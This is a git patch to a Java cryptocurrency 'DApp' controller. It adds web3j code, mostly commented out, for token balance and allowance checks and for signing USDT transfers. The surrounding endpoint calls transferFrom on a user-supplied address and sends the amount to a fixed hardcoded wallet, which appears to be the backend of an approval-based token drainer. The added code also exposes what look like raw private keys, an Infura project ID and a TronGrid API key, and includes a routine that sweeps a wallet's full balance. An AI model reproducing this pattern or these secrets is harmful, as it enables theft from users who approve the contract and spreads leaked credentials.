From 143d77c6b6de760304e8fdcf094452097c98842c Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Fri, 18 Mar 2022 18:24:44 +0800
Subject: [PATCH] fix
---
src/main/java/cc/mrbird/febs/dapp/controller/DappController.java | 108 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
1 files changed, 108 insertions(+), 0 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java b/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
index ac747eb..8ea62d9 100644
--- a/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
+++ b/src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
@@ -9,16 +9,42 @@
import io.swagger.annotations.Api;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
+import org.web3j.abi.FunctionEncoder;
+import org.web3j.abi.FunctionReturnDecoder;
+import org.web3j.abi.TypeReference;
+import org.web3j.abi.datatypes.Address;
+import org.web3j.abi.datatypes.Function;
+import org.web3j.abi.datatypes.Type;
+import org.web3j.abi.datatypes.generated.Uint256;
+import org.web3j.crypto.Credentials;
+import org.web3j.crypto.RawTransaction;
+import org.web3j.crypto.TransactionEncoder;
+import org.web3j.protocol.Web3j;
+import org.web3j.protocol.core.DefaultBlockParameterName;
+import org.web3j.protocol.core.methods.request.Transaction;
+import org.web3j.protocol.core.methods.response.EthCall;
+import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
+import org.web3j.protocol.core.methods.response.EthSendTransaction;
+import org.web3j.protocol.http.HttpService;
+import org.web3j.utils.Convert;
+import org.web3j.utils.Numeric;
import javax.servlet.http.HttpServletRequest;
+import java.io.IOException;
import java.math.BigDecimal;
import java.math.BigInteger;
+import java.util.ArrayList;
+import java.util.Arrays;
import java.util.Date;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
/**
* @author wzy
@@ -66,4 +92,86 @@
token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L);
return new FebsResponse().success();
}
+
+ public static void main(String[] args) throws Exception {
+// ApiWrapper wrapper = ApiWrapper.ofShasta("ebefe7b932359a7ef70c5cec0aed9aa2ca468b6c0d60ac637fe783530e459978");
+// Contract trc20Contract = wrapper.getContract("TRTE68V3TJBLduBoJPLMgBsvwkq8LJBin6");
+// Trc20Contract token = new Trc20Contract(trc20Contract, "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp", wrapper);
+//
+// BigInteger balance = token.balanceOf("TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp");
+// token.transfer("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", balance.longValue(), 0, "memo", 100000000L);
+
+
+// ApiWrapper wrapper = ApiWrapper.ofMainnet("af4913d8462ca83e0a2df587072e42ec565bc26f6bec0724d1bf2e80d4c0bcb7", "9d461be6-9796-47b9-85d8-b150cbabbb54");
+// Contract trc20Contract = wrapper.getContract("TL2pea32CTtxJ48pJmnLQuoRHeoX79dLCT");
+// Trc20Contract token = new Trc20Contract(trc20Contract, "TZ5sZBLU5pdZbqN56rVsUEQuRHzYGRSY8a", wrapper);
+
+
+// ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
+//
+// Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
+// Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
+//
+// System.out.println(token.balanceOf("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));;
+
+ HttpService service = new HttpService("https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0");
+ Web3j web3j = Web3j.build(service);
+
+// String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+// String fromAddress = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";
+// String toAddress = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
+// int decimal = 6;
+// String methodName = "allowance";
+// List<Type> inputParameters = new ArrayList<>();
+// List<TypeReference<?>> outputParameters = new ArrayList<>();
+// Address address = new Address(toAddress);
+// inputParameters.add(address);
+// TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+// };
+// outputParameters.add(typeReference);
+// Function function = new Function(methodName, inputParameters, outputParameters);
+// String data = FunctionEncoder.encode(function);
+// Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
+//
+// EthCall ethCall;
+// BigInteger balanceValue = BigInteger.ZERO;
+// ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+// List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+// System.out.println(results);
+
+// String gas = "";
+// if(StringUtils.isBlank(gas)){
+// gas="70";
+// }
+// String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+// Credentials credentials = Credentials.create(privateKey);
+//
+// EthGetTransactionCount ethGetTransactionCount = web3j
+// .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+//
+// BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+//
+// Function function = new Function("transfer",
+// Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))),
+// Arrays.asList(new TypeReference<Type>() {
+// }));
+//
+// String encodedFunction = FunctionEncoder.encode(function);
+//
+// RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+// Convert.toWei(gas, Convert.Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+// Convert.toWei("60000", Convert.Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+// // 10*80000/1000000000=0.0008 手续费
+//
+// byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+// String hexValue = Numeric.toHexString(signedMessage);
+//
+// // log.debug("transfer hexValue:" + hexValue);
+//
+// CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+// EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+
+ }
+
+
}
--
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